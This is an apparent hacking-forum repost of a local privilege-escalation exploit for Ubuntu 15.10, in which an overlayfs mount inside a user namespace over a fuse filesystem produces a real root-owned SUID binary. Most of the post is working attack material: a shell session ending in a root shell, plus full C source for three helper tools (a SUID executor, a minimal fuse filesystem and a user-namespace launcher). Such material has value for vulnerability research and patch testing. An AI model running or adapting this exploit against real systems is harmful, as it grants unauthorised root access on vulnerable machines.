跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Ubuntu 15.10 - 'USERNS ' Overlayfs Over Fuse Privilege Escalation

精选回复

发布于
Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/

## Introduction

Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.

## Methods

Basic exploitation sequence is:

- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up

This can be archived, e.g.

SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)

test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)




--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool changes to uid/gid 0 and executes the program supplied
 *  via arguments.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char **argv) {
  if(argc<2) {
    fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
    return(1);
  }

  int rUid, eUid, sUid, rGid, eGid, sGid;
  getresuid(&rUid, &eUid, &sUid);
  getresgid(&rGid, &eGid, &sGid);
  if(setresuid(sUid, sUid, rUid)) {
    fprintf(stderr, "Failed to set uids\n");
    return(1);
  }
  if(setresgid(sGid, sGid, rGid)) {
    fprintf(stderr, "Failed to set gids\n");
    return(1);
  }

  execve(argv[1], argv+1, environ);

  return(1);
}
--- EOF ---

--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  Minimal userspace file system demo, compile using
 *  gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
 *
 *  See also /usr/include/fuse/fuse.h
 */

#define FUSE_USE_VERSION 28

#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static FILE	*logFile;

static char	*fileNameNormal="/file";
static char	*fileNameCharDev="/chardev";
static char	*fileNameNormalSubFile="/dir/file";

static char	*realFileName="./RealFile";
static int	realFileHandle=-1;

static int io_getattr(const char *path, struct stat *stbuf) {
  fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
      path, stbuf);
  fflush(logFile);

  int res=-ENOENT;
  memset(stbuf, 0, sizeof(struct stat));
  if(strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
  } else if(strcmp(path, fileNameCharDev)==0) {
//    stbuf->st_dev=makedev(5, 2);
    stbuf->st_mode=S_IFCHR|0777;
    stbuf->st_rdev=makedev(5, 2);
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=100;
    res=0;
  } else if(strcmp(path, "/dir")==0) {
    stbuf->st_mode=S_IFDIR|S_ISGID|0777;
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=1<<12;
    res=0;
  } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;

    if(realFileName) {
      if(fstat(realFileHandle, stbuf)) {
        fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
            realFileName, errno, strerror(errno));
      } else {
// Just change uid/suid, which is far more interesting during testing
        stbuf->st_mode|=S_ISUID;
        stbuf->st_uid=0;
        stbuf->st_gid=0;
      }
    } else {
      stbuf->st_mode=S_ISUID|S_IFREG|0777;
      stbuf->st_size=100;
    }
    stbuf->st_nlink=1; // Number of hard links
    res=0;
  }

  return(res);
}


static int io_readlink(const char *path, char *buffer, size_t length) {
  fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
      path, buffer, (long)length);
  fflush(logFile);
  return(-1);
}


static int io_unlink(const char *path) {
  fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
  fflush(logFile);
  return(0);
}


static int io_rename(const char *oldPath, const char *newPath) {
  fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
      oldPath, newPath);
  fflush(logFile);
  return(0);
}


static int io_chmod(const char *path, mode_t mode) {
  fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
  fflush(logFile);
  return(0);
}


static int io_chown(const char *path, uid_t uid, gid_t gid) {
  fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
  fflush(logFile);
  return(0);
}


/** Open a file. This function checks access permissions and may
 *  associate a file info structure for future access.
 *  @returns 0 when open OK
 */
static int io_open(const char *path, struct fuse_file_info *fi) {
  fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
  fflush(logFile);

  return(0);
}


static int io_read(const char *path, char *buffer, size_t length,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
      path, buffer, (long)length, (long)offset, fi);
  fflush(logFile);

  if(length<0) return(-1);
  if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    if(!realFileName) {
      if((offset<0)||(offset>4)) return(-1);
      if(offset+length>4) length=4-offset;
      if(length>0) memcpy(buffer, "xxxx", length);
      return(length);
    }
    if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
      fprintf(stderr, "read: seek on %s failed\n", path);
      return(-1);
    }
    return(read(realFileHandle, buffer, length));
  }
  return(-1);
}


static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
      path, buf, filler, ((long)offset), fi);
  fflush(logFile);

  (void) offset;
  (void) fi;
  if(!strcmp(path, "/")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, fileNameCharDev+1, NULL, 0);
    filler(buf, "dir", NULL, 0);
    filler(buf, fileNameNormal+1, NULL, 0);
    return(0);
  } else if(!strcmp(path, "/dir")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "file", NULL, 0);
    return(0);
  }
  return -ENOENT;
}


static int io_access(const char *path, int mode) {
  fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
      path, mode);
  fflush(logFile);
  return(0);
}


static int io_ioctl(const char *path, int cmd, void *arg,
    struct fuse_file_info *fi, unsigned int flags, void *data) {
  fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
      path, cmd, arg, fi, flags, data);
  fflush(logFile);
  return(0);
}


static struct fuse_operations hello_oper = {
  .getattr	= io_getattr,
  .readlink	= io_readlink,
// .getdir =  deprecated
// .mknod
// .mkdir
  .unlink	= io_unlink,
// .rmdir
// .symlink
  .rename	= io_rename,
// .link
  .chmod	= io_chmod,
  .chown	= io_chown,
// .truncate
// .utime
  .open = io_open,
  .read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
  .readdir	= io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
  .access	= io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
 .ioctl = io_ioctl,
// .poll
};

int main(int argc, char *argv[]) {
  char	buffer[128];

  realFileHandle=open(realFileName, O_RDWR);
  if(realFileHandle<0) {
    fprintf(stderr, "Failed to open %s\n", realFileName);
    exit(1);
  }

  snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
  logFile=fopen(buffer, "a");
  if(!logFile) {
    fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
    return(1);
  }
  fprintf(logFile, "Starting fuse init\n");
  fflush(logFile);

  return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---

--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool creates a new namespace, initialize the uid/gid
 *  map and execute the program given as argument. This is similar
 *  to unshare(1) from newer util-linux packages.
 *
 *  gcc -o UserNamespaceExec UserNamespaceExec.c
 *
 *  Usage: UserNamespaceExec [options] -- [program] [args]
 *
 *  * --NoSetGroups: do not disable group chanages
 *  * --NoSetGidMap:
 *  * --NoSetUidMap:
 */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  int parentPid=getppid();
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while((geteuid()!=0)&&(parentPid==getppid())) {
    sleep(1);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=execve(((char**)arg)[0], (char**)arg, environ);
  fprintf(stderr, "Exec failed\n");
  return(1);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int noSetGroupsFlag=0;
  int setGidMapFlag=1;
  int setUidMapFlag=1;
  int result;

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }
    if(!strcmp(argName, "--NoSetGidMap")) {
      setGidMapFlag=0;
      continue;
    }
    if(!strcmp(argName, "--NoSetGroups")) {
      noSetGroupsFlag=1;
      continue;
    }
    if(!strcmp(argName, "--NoSetUidMap")) {
      setUidMapFlag=0;
      continue;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  if(!noSetGroupsFlag) {
    sprintf(idMapFileName, "/proc/%d/setgroups", pid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    if(setGroupsFd<0) {
      fprintf(stderr, "Failed to open setgroups\n");
      return(1);
    }
    result=write(setGroupsFd, "deny", 4);
    if(result<0) {
      fprintf(stderr, "Failed to disable setgroups\n");
      return(1);
    }
    close(setGroupsFd);
  }

  if(setUidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/uid_map", pid);
    fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    if(uidMapFd<0) {
      fprintf(stderr, "Failed to open uid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
      return(1);
    }
    close(uidMapFd);
  }

  if(setGidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/gid_map", pid);
    fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    if(gidMapFd<0) {
      fprintf(stderr, "Failed to open gid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      if(noSetGroupsFlag) {
        fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
      } else {
        fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
        return(1);
      }
    }
    close(gidMapFd);
  }

  if(waitpid(pid, NULL, 0)==-1) {
    fprintf(stderr, "Wait failed\n");
    return(1);
  }
  return(0);
}
--- EOF ---
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。